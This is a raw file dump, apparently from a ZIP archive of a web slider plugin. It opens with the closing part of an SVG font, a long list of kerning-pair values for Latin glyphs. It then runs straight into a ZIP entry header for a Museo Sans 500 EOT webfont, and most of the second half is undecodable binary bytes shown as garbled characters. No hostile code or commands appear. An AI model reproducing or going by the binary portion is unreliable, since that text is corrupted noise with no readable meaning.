<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	g2="period,ellipsis" 	k="47" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	g2="comma" 	k="51" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	g2="m,n,r,ntilde,ncaron,racute,rcaron" 	k="6" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	g2="colon" 	k="14" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	g2="semicolon" 	k="16" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	g2="p" 	k="6" />
<hkern g1="V" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="59" />
<hkern g1="V" 	g2="J" 	k="37" />
<hkern g1="V" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="43" />
<hkern g1="V" 	g2="T,Tcaron" 	k="-51" />
<hkern g1="V" 	g2="Y,Yacute,Ydieresis" 	k="-43" />
<hkern g1="V" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="8" />
<hkern g1="V" 	g2="z,zcaron" 	k="8" />
<hkern g1="V" 	g2="hyphen,endash,emdash" 	k="76" />
<hkern g1="V" 	g2="period,ellipsis" 	k="109" />
<hkern g1="V" 	g2="m,n,r,ntilde,ncaron,racute,rcaron" 	k="29" />
<hkern g1="V" 	g2="s,scaron" 	k="37" />
<hkern g1="V" 	g2="u,ugrave,uacute,ucircumflex,udieresis,uring" 	k="23" />
<hkern g1="V" 	g2="d,q,dcaron" 	k="53" />
<hkern g1="V" 	g2="g" 	k="51" />
<hkern g1="V" 	g2="c,e,o,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,ccaron,ecaron,oe" 	k="61" />
<hkern g1="W" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="45" />
<hkern g1="W" 	g2="J" 	k="31" />
<hkern g1="W" 	g2="M" 	k="12" />
<hkern g1="W" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="33" />
<hkern g1="W" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="8" />
<hkern g1="W" 	g2="z,zcaron" 	k="6" />
<hkern g1="W" 	g2="hyphen,endash,emdash" 	k="66" />
<hkern g1="W" 	g2="period,ellipsis" 	k="86" />
<hkern g1="W" 	g2="comma" 	k="86" />
<hkern g1="W" 	g2="m,n,r,ntilde,ncaron,racute,rcaron" 	k="27" />
<hkern g1="W" 	g2="s,scaron" 	k="27" />
<hkern g1="W" 	g2="u,ugrave,uacute,ucircumflex,udieresis,uring" 	k="18" />
<hkern g1="W" 	g2="colon" 	k="20" />
<hkern g1="W" 	g2="semicolon" 	k="25" />
<hkern g1="W" 	g2="d,q,dcaron" 	k="35" />
<hkern g1="W" 	g2="g" 	k="35" />
<hkern g1="W" 	g2="c,e,o,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,ccaron,ecaron,oe" 	k="39" />
<hkern g1="W" 	g2="eth" 	k="10" />
<hkern g1="W" 	g2="p" 	k="27" />
<hkern g1="W" 	g2="braceright" 	k="-10" />
<hkern g1="X" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="27" />
<hkern g1="X" 	g2="t,tcaron" 	k="14" />
<hkern g1="X" 	g2="w" 	k="23" />
<hkern g1="X" 	g2="y,yacute,ydieresis" 	k="20" />
<hkern g1="X" 	g2="hyphen,endash,emdash" 	k="86" />
<hkern g1="X" 	g2="f,uniFB01,uniFB02" 	k="8" />
<hkern g1="X" 	g2="u,ugrave,uacute,ucircumflex,udieresis,uring" 	k="10" />
<hkern g1="X" 	g2="d,q,dcaron" 	k="10" />
<hkern g1="X" 	g2="g" 	k="18" />
<hkern g1="X" 	g2="c,e,o,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,ccaron,ecaron,oe" 	k="16" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="94" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="J" 	k="47" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="M" 	k="18" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="80" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="T,Tcaron" 	k="-47" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="Y,Yacute,Ydieresis" 	k="-39" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="35" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="t,tcaron" 	k="6" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="w" 	k="6" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="V" 	k="-43" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="x" 	k="10" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="z,zcaron" 	k="20" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="hyphen,endash,emdash" 	k="123" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="period,ellipsis" 	k="121" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="f,uniFB01,uniFB02" 	k="16" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="comma" 	k="119" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="m,n,r,ntilde,ncaron,racute,rcaron" 	k="66" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="s,scaron" 	k="82" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="u,ugrave,uacute,ucircumflex,udieresis,uring" 	k="63" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="colon" 	k="53" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="semicolon" 	k="59" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="bracketright" 	k="-37" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="d,q,dcaron" 	k="102" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="g" 	k="100" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="c,e,o,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,ccaron,ecaron,oe" 	k="115" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="eth" 	k="10" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="parenright" 	k="-25" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="question" 	k="-25" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="p" 	k="66" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="braceright" 	k="-37" />
<hkern g1="Z,Zcaron" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="20" />
<hkern g1="Z,Zcaron" 	g2="t,tcaron" 	k="6" />
<hkern g1="Z,Zcaron" 	g2="w" 	k="14" />
<hkern g1="Z,Zcaron" 	g2="y,yacute,ydieresis" 	k="10" />
<hkern g1="Z,Zcaron" 	g2="hyphen,endash,emdash" 	k="135" />
<hkern g1="Z,Zcaron" 	g2="v" 	k="12" />
<hkern g1="Z,Zcaron" 	g2="f,uniFB01,uniFB02" 	k="6" />
<hkern g1="Z,Zcaron" 	g2="u,ugrave,uacute,ucircumflex,udieresis,uring" 	k="6" />
<hkern g1="Z,Zcaron" 	g2="d,q,dcaron" 	k="6" />
<hkern g1="Z,Zcaron" 	g2="g" 	k="10" />
<hkern g1="Z,Zcaron" 	g2="c,e,o,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,ccaron,ecaron,oe" 	k="10" />
<hkern g1="bracketleft" 	g2="T,Tcaron" 	k="-41" />
<hkern g1="bracketleft" 	g2="Y,Yacute,Ydieresis" 	k="-37" />
<hkern g1="a,agrave,aacute,acircumflex,atilde,adieresis,aring" 	g2="t,tcaron" 	k="6" />
<hkern g1="a,agrave,aacute,acircumflex,atilde,adieresis,aring" 	g2="f,uniFB01,uniFB02" 	k="6" />
<hkern g1="b,p,thorn" 	g2="T,Tcaron" 	k="174" />
<hkern g1="b,p,thorn" 	g2="Y,Yacute,Ydieresis" 	k="102" />
<hkern g1="b,p,thorn" 	g2="W" 	k="31" />
<hkern g1="b,p,thorn" 	g2="V" 	k="53" />
<hkern g1="b,p,thorn" 	g2="X" 	k="12" />
<hkern g1="b,p,thorn" 	g2="Z,Zcaron" 	k="6" />
<hkern g1="b,p,thorn" 	g2="x" 	k="8" />
<hkern g1="c,ccedilla,ccaron" 	g2="hyphen,endash,emdash" 	k="25" />
<hkern g1="f" 	g2="y,yacute,ydieresis" 	k="-20" />
<hkern g1="f" 	g2="v" 	k="-12" />
<hkern g1="f" 	g2="period,ellipsis" 	k="14" />
<hkern g1="k" 	g2="hyphen,endash,emdash" 	k="10" />
<hkern g1="k" 	g2="u,ugrave,uacute,ucircumflex,udieresis,uring" 	k="6" />
<hkern g1="k" 	g2="d,q,dcaron" 	k="10" />
<hkern g1="k" 	g2="g" 	k="14" />
<hkern g1="k" 	g2="c,e,o,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,ccaron,ecaron,oe" 	k="16" />
<hkern g1="k" 	g2="eth" 	k="12" />
<hkern g1="h,m,n,ntilde,ncaron" 	g2="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	k="6" />
<hkern g1="h,m,n,ntilde,ncaron" 	g2="T,Tcaron" 	k="193" />
<hkern g1="h,m,n,ntilde,ncaron" 	g2="Y,Yacute,Ydieresis" 	k="100" />
<hkern g1="h,m,n,ntilde,ncaron" 	g2="W" 	k="31" />
<hkern g1="h,m,n,ntilde,ncaron" 	g2="V" 	k="53" />
<hkern g1="h,m,n,ntilde,ncaron" 	g2="f,uniFB01,uniFB02" 	k="6" />
<hkern g1="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash" 	g2="x" 	k="14" />
<hkern g1="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash" 	g2="z,zcaron" 	k="8" />
<hkern g1="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash" 	g2="f,uniFB01,uniFB02" 	k="6" />
<hkern g1="r,racute,rcaron" 	g2="y,yacute,ydieresis" 	k="-14" />
<hkern g1="r,racute,rcaron" 	g2="hyphen,endash,emdash" 	k="14" />
<hkern g1="r,racute,rcaron" 	g2="period,ellipsis" 	k="72" />
<hkern g1="r,racute,rcaron" 	g2="comma" 	k="72" />
<hkern g1="r,racute,rcaron" 	g2="c,e,o,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,ccaron,ecaron,oe" 	k="6" />
<hkern g1="r,racute,rcaron" 	g2="eth" 	k="10" />
<hkern g1="v" 	g2="quoteright,quotedblright" 	k="-10" />
<hkern g1="v" 	g2="period,ellipsis" 	k="37" />
<hkern g1="w" 	g2="period,ellipsis" 	k="29" />
<hkern g1="w" 	g2="comma" 	k="33" />
<hkern g1="x" 	g2="hyphen,endash,emdash" 	k="20" />
<hkern g1="x" 	g2="d,q,dcaron" 	k="8" />
<hkern g1="x" 	g2="g" 	k="12" />
<hkern g1="x" 	g2="c,e,o,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,ccaron,ecaron,oe" 	k="14" />
<hkern g1="y,yacute,ydieresis" 	g2="quoteright,quotedblright" 	k="-14" />
<hkern g1="y,yacute,ydieresis" 	g2="period,ellipsis" 	k="43" />
<hkern g1="y,yacute,ydieresis" 	g2="comma" 	k="49" />
<hkern g1="z,zcaron" 	g2="hyphen,endash,emdash" 	k="27" />
<hkern g1="z,zcaron" 	g2="g" 	k="6" />
<hkern g1="z,zcaron" 	g2="c,e,o,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,ccaron,ecaron,oe" 	k="8" />
<hkern g1="z,zcaron" 	g2="eth" 	k="6" />
<hkern g1="braceleft" 	g2="T,Tcaron" 	k="-41" />
<hkern g1="braceleft" 	g2="Y,Yacute,Ydieresis" 	k="-37" />
<hkern g1="braceleft" 	g2="W" 	k="-10" />
<hkern g1="periodcentered" 	g2="B,D,E,F,H,I,K,L,N,P,R,Egrave,Eacute,Ecircumflex,Edieresis,Igrave,Iacute,Icircumflex,Idieresis,Eth,Ntilde,Thorn,Dcaron,Ecaron,Lacute,Lcaron,Ncaron,Racute,Rcaron" 	k="25" />
<hkern g1="Thorn" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="10" />
<hkern g1="Thorn" 	g2="T,Tcaron" 	k="78" />
<hkern g1="Thorn" 	g2="Y,Yacute,Ydieresis" 	k="35" />
<hkern g1="Thorn" 	g2="Z,Zcaron" 	k="51" />
<hkern g1="Thorn" 	g2="period,ellipsis" 	k="100" />
<hkern g1="germandbls" 	g2="t,tcaron" 	k="6" />
<hkern g1="germandbls" 	g2="w" 	k="6" />
<hkern g1="germandbls" 	g2="quotedbl,quotesingle" 	k="12" />
<hkern g1="germandbls" 	g2="f,uniFB01,uniFB02" 	k="6" />
<hkern g1="eth" 	g2="z,zcaron" 	k="6" />
<hkern g1="quoteleft,quotedblleft" 	g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" 	k="80" />
<hkern g1="quoteleft,quotedblleft" 	g2="B,D,E,F,H,I,K,L,N,P,R,Egrave,Eacute,Ecircumflex,Edieresis,Igrave,Iacute,Icircumflex,Idieresis,Eth,Ntilde,Thorn,Dcaron,Ecaron,Lacute,Lcaron,Ncaron,Racute,Rcaron" 	k="14" />
<hkern g1="quoteleft,quotedblleft" 	g2="J" 	k="68" />
<hkern g1="quoteleft,quotedblleft" 	g2="M" 	k="25" />
<hkern g1="quoteleft,quotedblleft" 	g2="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	k="10" />
<hkern g1="quoteleft,quotedblleft" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="16" />
<hkern g1="quoteleft,quotedblleft" 	g2="T,Tcaron" 	k="-33" />
<hkern g1="quoteleft,quotedblleft" 	g2="Y,Yacute,Ydieresis" 	k="-16" />
<hkern g1="quoteleft,quotedblleft" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="10" />
<hkern g1="quoteleft,quotedblleft" 	g2="V" 	k="-20" />
<hkern g1="quoteleft,quotedblleft" 	g2="g" 	k="10" />
<hkern g1="quoteleft,quotedblleft" 	g2="c,e,o,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,ccaron,ecaron,oe" 	k="14" />
<hkern g1="quotesinglbase,quotedblbase" 	g2="B,D,E,F,H,I,K,L,N,P,R,Egrave,Eacute,Ecircumflex,Edieresis,Igrave,Iacute,Icircumflex,Idieresis,Eth,Ntilde,Thorn,Dcaron,Ecaron,Lacute,Lcaron,Ncaron,Racute,Rcaron" 	k="23" />
<hkern g1="quotesinglbase,quotedblbase" 	g2="M" 	k="10" />
<hkern g1="quotesinglbase,quotedblbase" 	g2="U,Ugrave,Uacute,Ucircumflex,Udieresis,Uring" 	k="45" />
<hkern g1="quotesinglbase,quotedblbase" 	g2="T,Tcaron" 	k="117" />
<hkern g1="quotesinglbase,quotedblbase" 	g2="Y,Yacute,Ydieresis" 	k="121" />
<hkern g1="quotesinglbase,quotedblbase" 	g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,Ccaron,OE" 	k="53" />
<hkern g1="quotesinglbase,quotedblbase" 	g2="W" 	k="84" />
<hkern g1="quotesinglbase,quotedblbase" 	g2="t,tcaron" 	k="10" />
<hkern g1="quotesinglbase,quotedblbase" 	g2="w" 	k="27" />
<hkern g1="quotesinglbase,quotedblbase" 	g2="y,yacute,ydieresis" 	k="47" />
<hkern g1="quotesinglbase,quotedblbase" 	g2="V" 	k="109" />
<hkern g1="quotesinglbase,quotedblbase" 	g2="v" 	k="35" />
</font>
</defs></svg> PK!����a�aImod_ap_smart_layerslider/admin/fonts/museo-sans/museosans_500-webfont.eotnu&1i��a�`�LP��J@� ~-Museo Sans 500Regular
1.000,Museo Sans 500 RegularBSGP��>>>D���xZW�h[qJx"c�r,g,E�&�C���iE{z~JU�0ұQ�mdte�%@��Sb-a�\&�E�LFM�lس�]�f��*@8&�2ZLL�
S.D4S:NX;�J��fG:�3ª<ި.��ɂ`��=؞���6��k�:�#j�#N�d@��!��'��++�[���{�dN��%��v��$Sz�".9�$j@$0�Q���%�5U­(c�.���ٚf�SgL<�����1�a�7z{�@�D�� �T�X����e���z��4�z�m��8���fR��ZYp%q'����`Xv�e���c���Uةre\�A���p���纣Uqi����7��%����Y��uf
�\�����!dEc�->�D����N�U,0���
̢f�M���'�>�`��-�<��FS���ڃB�nΩ�F�= �
U�2\�z?=Z'�怺5�Cr1�eT��4[�e���2�T�Ĺ�,ڙt���x̪B��-qЉ#��W�[i���No�
k�=_�yԸ�K�3.ž�W2��"5���;�^�e�.螥2Le1R��p�">�bC�������I ��S�k
�$��$JQ�qT�!B�~��R�C��581�/�’C�o�]n:M0��'SA �=t��F{X�Po���%ن=��:����u/�u���A&�I�U�
Z %���Z����XT}C($�M����|��$�/�9����c�{3�1ْ��+\�#o;��D"H�����mcvz#�a�V!`�|�yd�"$D�/��O`?�
K��k=n�^�r��*a��#�G�����g
�ȁ��x�a���D�m�����aժ	�~�ˀM=�_�&�w����oDq��G�1'
b@
�#q�
1�Q�n
��D)�ɢ6�J7�h]�7̬&!d;1{�/�̥^�^ʧ^D�c���F�R'
��(��&po=�&��P�JD�1%�[%$�Uyc�
b>���fN[�\br�o�PV��,I���=�gt_[~
�m`*0��C��FF�a������x{Q�؃�Z����DW�ßKhq�kۓ9Q���\Ucm�˙f���{��\�B�!�L���K'-������X8�4,p�>LY�|�!��ʹ�y%�=HM��f�q3qIj�֓�m3���<��n�r/ �+�P{�A+t�	<G�� )��I��z6C�JT\	�۝��{��u��BrKႾ���.�f�1L%�+eE��Ц�
��хJh�B>���hS���EZx<F)�*�)�;}�����@�J�O)^az�ˉ:v�I�B�فg
�e�dWႊ�<̔�L�՟o�&���iIP<���?�5�z�%F�HsN���i���ƻ�vXն}�7 z1�|�8�*Y�H>���T�?`�6"��|�g��E�P��r�h*m�G��ѲP/l�.s=j�s�j:���:�]=��珠ӯ	�0���yF�;o�,OE����; ux'�0��,t��$k�n�Os,<
ic�Ms_���)�J�=�I�p�e�J%.�z��;�
[�-���9�/��uLx#��%�T�*�X�"d��5y�$��!ú$��c�������?�h�K#@��mlcR1�Rx����u��k[
q�����S���e2qf�`ʛI��
׌�m�����s���-C�I��q�_�7�	������=>\�K��NcH{�ruR��J��aƒwz�zz.]��vsX��«l`�)�ق,Z��*dj@�������۸���h|�N��~5e��#%�“Y��O�D)���5��CGx��(5�
�f��V��qks�lpA��I��=��f�ɷ�,[Z��"���R0�Q��~_n\��b^@3Ϙz���5��,B�K����*8dG�O�x'2�J�?J���"2�N�Z�P�TȲ'�+�WS$��渀�p ��f��#��i��$\�/!�e~� ��U��!qR+=c��V�2��y����X�̪���Y�iSy�Xz`b��e�\
i:��(M\k¨	љ�nP�S*�
����9]Gn�P��ά����#��:����@���@�V.y�H�d	`�wr�_���;l~´7Q�s��Ȭ�ϩ���n�pg+���<�"����
��&����! `gAs$�	v~*)^����,��3e�|vm"
� ��{���gS��0��|X�5�'Yt�o�"!K���L/z���+���MBD�9�S<r"�=�!@�W��J,�T�e��e.Dv+&� ��"�j�����Tr=
u���ң�2�Գ��F�ܩ�_e�H�Pr��e��A�����t��}#��s�����!Ia��NgRBAuBi��:$��� X��L����ڔL뙜#��%Z��({�#h3�(Q�
�E�!�hF�6�~��ݰ_~��sʸ�j����u�&�|Xmt�%	W1�qVs�Z3�G�h���a�ƅr�
F;�+����2x8��E��Y|�+�C���Á�0����"�yd���q�{�`Z�����R1��_*���Εa��9�I�im|5���>�cٶ�6m�z;�OQ�f��%��AS>���B��3^g�@�Tb��C��	.d�B�r��]Q�3W�A��I�$��j|QT�#��HN��u0x˹.���9���Ty�&(`�F����X	9щ��l<�Y�Zd�����갏�{��=��0#�7����6ţ�qR�hl�&����	��,��s����@�1@�%�/��{U�ˋ�n	j!�<��OG��A��YF:Q�d�܌tY;��d��B�B_�D��aK ��'��pjC{%:v�t*�<ɾV�X�1�MZ�U�8�W �
c�q���2��P9��X*���^�՞�L�F��L����L�6�b�y�K�6+y��	������,�<��W��F�
�3\�r0,x�G����r�4���*�Yd�Z�!E9'U�(�ZT>ˈ�T�ʓAQ@��s��b�@7�E�/�x�>凞�5�'���N@գ��!��[w��)곔��*�[d��`#���7h'ܦL��h7�(�)n�2~N�9V9����D�J���LS���
E#G�V�Ep_0Ȣ*3��<,Ea�ue�c�50��°���	����e�v�<���)�Ӝ�y�ɶC����97v��5�@e:8�����jbjn)qڒ5r�C1��f^�k�`l�C/C���3Mh[�W������G
Ɋ��~����ev��r��V�+P�K�Pb��j���4�9`b�Da�b�b!�8"^��i~c(��9����'���=5a���Q�l�Tg��
���%ru�"�.CV���%u���\�~���L������
���,"^��S�s�M�p�e����)r#".����sN�$�0=����xgg2�}A�`��+@O�MV��pPlKS���l��I���’�w��T
���W��TqD�Țܰד�rE�1j��«�mQ�ۃW�����~����2�*����i�dž>�71�M�����I�Y����
Mѩ]��ڈ�oc����G�s�I݃~.�H��=DZP^ː�N�+LxMN�z]�'�{�>���so�~@@���5�zS^�.@��"?�T����ƾ�����
�e������>�����3B%�~�)��)��$�n`��/,H]%�d)h��u�`�cX'M+
)��ҡ����ܒ��
�T�L��צR�|��.�x#� f�z	٥�ؗ�EF27$�l�Y����!�%	����9��Ne<A�lcK��f��C�N?#h77V�h5�����8��������)��V��v�A��eêe����
��2V9�TJc�b�d��W�d)�B9D��Yq�M(љ"�)�K��F�n�tȁ`.��n�)�]��Ч(�L$Z�r���0��W����!���y��BY�.�Q�&���ƭf�:lW
�0�l�(
��TO����E��zz�w!��s2�C��抱ݪDI��Ȉ4AV�_�ܝ+� ���eJ�=�-]�T%�'�:uHGk?�0^@~
}�y���.m��E��DY3�'�-���')�p�8]k�Ck�J��Ni��o��u]�E�����R�K!P���K�Ą�K|���8��H�ԓo��2�T����3;��ț	�;���:/����5%Es^�]�ϴ�r��{g��%��q��Yr0	^T�������T�� Y9{��ki�d��35�&*�ʘ�(w��I�T��A�@e����y^�����.p�3Xe�l�?���|E��/��:eҸi�=4ۦ��\_dժBxcD*lۄ���OgW�t(
����S��Ƞv��ȸ;�I�٨�=��a�@LfZ���x��Sd���H�'�96����Т͊��|�`i�:.Yӡ�q�q��׮o�,
،���	b-����2Gl���g�Ҳ�YX�J�Gq���t4�ذ��2�v��&�ٮ�R�B<M-�hL��>q�-�,6p+�u93�A2�����.��Hs��NW���.�QOm~$�TSz�#Uk���`�=������J����Ѣ�x��Q�;�459��I�\cM]��_v������k6)��<ٻ�&g^�MB��h�{b�
#{A���D�����i��J/63�89�7�%V�G8�	n�3���O���zx���z\^�T>�?d&FQO��I2�9~�Fc��*�V�#ڡ��_�����B@�2�Td$;`1�����
����7�s� V<��Ro%�4 �|[�0c0n�$���V	q�c��<똑2�7aw�**"��'ň�S�0��o�K4��"y�OWt�E�5o�͋���@�0ȕ,v��m�Vc���k�
̏N�s��_?6J�d9�D��aVY"�xh��7��ч�s�`����A�3��˥+��s��?��Ji]��<��9}�_�)��=U�!���@�5ޘh[��=ͼ�1�x	b��@:�!5�0|�dž{03��HJ�@�u�b��dY���03N�~^���U;ŕ0l=RS�dj���ߘ�k"�"�>`������H�����l�����i���a�`x!�M�����r���i�����6X�Po>���x�i`�X9�XN�Lj2�*@��CiqStZ�Bad[��$�
 f�Y[�i@�e��lՈ�͒�S�C�tJ#���5�a��jLe�c�J�LR����^D���1�C-p�&e��R��itp�x8��S �SW��yb� P�H8@5 ����qs)_�'
�
�ld�`Ȳ�:��0�/���
��h0g�l�E�[��,?Ԃd_���6b����{�9!/&I�M%R�Dt��Y���ɏ���]�5�P�$�G�Ҹ�8��p�HN'���s��,� �nMR8s�N�
���J�5x�����#(�w|�lDu����501[�&zg��?w)�eD1XJ����!�1B�.M
!���#�t�;�ŶI�x��G5��E�`��/_��ª��XO�ĸJ(�'V��"��|��K-�1�2�M<����)�C(N47�YjT�J^��V*(,�=�q�+yh��S�(�Pϔ��7i�O��Mi�p�%�M���&/C@NiČA��^a'�>#���F�T���A��w�ec"��<���¹zfe�6��E��c�g�.?&�cST�X�a��c#��$���E�O�E�Wx����l�_���DU��� �i�����w�.)�JV>5)�Z	ȜBv^�DϱK������K�{�����R��H��or�H€'h��3�۸�!��^l�e��k��AbFGH�)��G�Km~��wp�p�7KB��
c{��
�_Jc8
�H�x�c�|��zP�(�0O�ˈ�- '	1�
�`.0��<@L���@��r�$���@�7��ӑ�R��d���mh�=F�|8J^ͫ&8̆Sdp3,g�]��w)��oO^���px�����;0��T/A�{���૝z��(9V��k��B��<�k�'�����k������4R$c��n�6X���Jhh�s�]4�J&�O4����μAK��8�6D< keB�nu��3�Eĸ��(Ʒl��?B
�̲<�����'��y��#�}�3�V_�f	�䄇��kr�	ŜSX��3���!��lF�ku�(y�ɫz����FN"�|�]�/D�N�#&���103�e�Y�+f�b28}�W;d�7{��Q�c����s����A�:5%?>H�{��xw�Mu�>�H���o�H"������.q)!u9Bk9x�f��e��W�Dԕi�6�ݟe1hX��h#���M�ɣPb���	J��>�Y���o�"X�-VL.�p��4NSR����0�~&�d�� W��%⏄�Pg"�&�)(�Þ�w��B1�9/<d8���NCz	�W�ɗ��j��
��EKf�nC1��^ĩ/;��P�%	+D�� �(��di�X�*7�I�?`�̪3��bQ�O�!�j�e	���5�AB����GP������#ACw�{�f�S6A�̬?9g&���OC֓:M8'r-o�r4�|�G�H.߂��JQ|ٸ���LY�&�U)�vD�d|.�?8�L�@�!r���3+E�+�Xl�<��V��7�)������,�-HE� ���x��
�Nm-~�u6C����)��æi�Vi��i1�>.�!ӚȞ���G��QL��!/����9M�b�B������SAa-^��F��<��9k��lv����O� Gw�I���s'S-3*י�NLv����q4'J�]���$��̍F%\g�#ޛ\��ILZ�KH
qg2.
Ѝ�T
����)�CS��9�Z�ka^d
6�L�K���wꘚ�F�4Y1r�u��8�v��gvK�+7$.9(�T��X�<8�><[�媂�E��n���ze��w��R]�r"f�r�ԠEc9��7����%b�8�K�2��`7`�7B���z�����"�����@���ž�����_t���y��),GS�9U(�u"��ӑ16��F�s���^�t���x4x�%
� �9�A3`�,2ȏ�O"qV���F*Ѱ���nѠ��w;����(�6�nԶ�9�x\�/#'��V8�aJNj͇� �Q��r�OYk�?�&�c
(�Yv�Е������Vou�	%�@��RF�Ņ
R�c}t#aD�F�N��™p|�JV���͟��)ǾI��De��'Ok��&SJ����{&�c���8��&.s��y*D�h��1E�2�W!�lH�܇i+� �Ri��\RD��
Q;.��4ry�Ԧ`����9��0!D6��3%�|��*�4��M�9��Z�/��"��uB�al��P[|AfU!7�Q|k8��[�(PY�(��U4m���4cU�SD��;34<h�����
U�ck?o����@��8:sR$9�N�J9
�h�E˜��H#��z��'���&爋��U	O��r��L0�(�p�@�O`�2I2N��xg����:$Kp�Xd>
 ޞ�]����O�,b��U*!|�g��uxkk�!�?��X!X�W��`I`٠/�)���U�}'���h��&��,z��F@ ��gD��\�	#� _PC�SP+
�t��e@FF�2ڀ���4�W&^���
��*�
jb:�.��1k������
�F}��R
�8����<��
A�M�V����jkȺY�@�P���LD'��KfLR���PJ0 ]�w�熣=u���h�egZ�C��%fc�A4
Y:G�`؏��|2_��(L�@Zc4ЦV�~�KM�bI\tZq�h��e�GD��̬�����C&\q�!2.XJ=���T��I��;ް���8w€!;!��k ��J*��<�!�Z:Q�!������͜�/�DEƝ��u�{z�%10�w�j<9�'U� jߡ7<G� �z^U���g��g(��Tdc�ђ��Q`��D#��M���mHӋ�J�"�t"�2�
���	l�$�l��UD�v%�U⫙�ܒ})���V�L�qYB�q	|���i��)���Di�G^��N�ΏF]���0�h�<�TeH9@9t��j�^k��E�f�!��i���KɠL�;D�	����Y�Q����$i�2��.<YW�@�_oM�S
Pbݸd�.�yC������V�V'N��#�d~�������A��@D��j�T��}'
*��d�
�D
:D��x3�%�4o�N���_h{9vA<��(�d��pvF�o:Ĩ_2ל
�_�WZE�"�xB�I>��lYtw��E9n������
8"�G�׿.��wL��:��9�o������?x��3�l~��{�8$j�b��kS�ȸ����X���d��F��T
64���`�0�i'a���3,�$fa9��)7�W4$�Wi�P�(-��Vl��0�I�V�ќ��GB[�
@���eF�<�{\��ce���9�V�S[?�T$`�
��Ew���=�����Bn$r4�C��EE�?�ܶ����*����Z�@5�еS,,��>u�-��e������v�_�A$�4.u�&�ȟ�R
�[X}HԐeB�����a�u`�6�=[�OU�G[5��A*�Qq�0�̉umJ�e�����VCLjke���`F_���s�e�e�3ނ���qP�����]��]}x��N��EC(�a�u�Q�BaN�z�x4&]
